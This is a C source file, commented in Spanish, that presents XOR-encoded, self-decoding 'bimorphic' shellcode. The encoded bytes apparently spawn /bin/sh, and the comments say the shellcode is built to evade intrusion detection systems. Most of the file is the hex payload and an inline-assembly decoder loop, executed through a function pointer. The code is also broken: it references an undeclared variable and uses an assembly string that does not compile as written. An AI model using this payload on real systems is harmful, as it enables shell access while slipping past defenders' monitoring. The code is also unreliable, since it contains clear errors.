#include <stdio.h>
#include <stdlib.h>

// Shellcode bimorfica, evade los ids mutando su aspecto.
// se podria poner una pausa antes de la mutación para
// evadir los ids anti shellcodes polimórficas.
//
// Thnx to:Ripe por el motor de polimorfismo que codeaste en la servilleta
//
//
// By Sha0@BadCheckSum.com


void traducir (void);
void inject (void);
void shellcode (void);

int main (void) {

	char bimorphSha0codepoly[]=
	"\xeb\x38\x58\xb9\x91\x84\x04\x08\x81\xe9\x75\x84"
	"\x04\x08\x29\xc8\x2c\x05\x49\x8a\x1c\x08\x80\xf3"
	"\xde\x88\x1c\x08\xe2\xf5\xeb\xd3\x85\xef\x1e\x8e"
	"\x8d\x6e\xd5\x57\x3f\xef\x0c\x13\x5e\x36\x30\x21"
	"\x21\x21\xf1\xbc\xb7\xb0\xf1\xad\xb6\xde\xe8\xc3"
	"\xff\xff\xff\xc9\xc3";



	void (*fptr)(void);
	fptr = (void(*)(void))poly;
	(*fptr)();


	//shellcode ();
	//traducir ();
	return (0);
}

void traducir (void) {
	unsigned char *p;

        for (p=(unsigned char*)shellcode ; *p ; p++) 
		printf("\\x%.2x", *p);
}

void shellcode (void) {
	__asm__ ("
			jmp end
		polymorph:
			pop %eax	
			movl $end, %ecx
			subl $start, %ecx
			subl %ecx, %eax
			subb $5, %al
			dec %ecx
		polyloop:
			movb (%eax,%ecx),%bl
			xorb $0xde, %bl
			movb %bl, (%eax,%ecx)
			loop polyloop
		start:
			.byte  0xeb,0xd3
		code:
			.byte  0x85,0xef,0x1e,0x8e,0x8d,0x6e,0xd5,0x57,0x3f,0xef,0x0c,0x13,0x5e
		str:
			.byte  0x36,0x30,0x21,0x21,0x21,0xf1,0xbc,0xb7,0xb0,0xf1,0xad,0xb6,0xde
		end:	
			call polymorph
		");
}
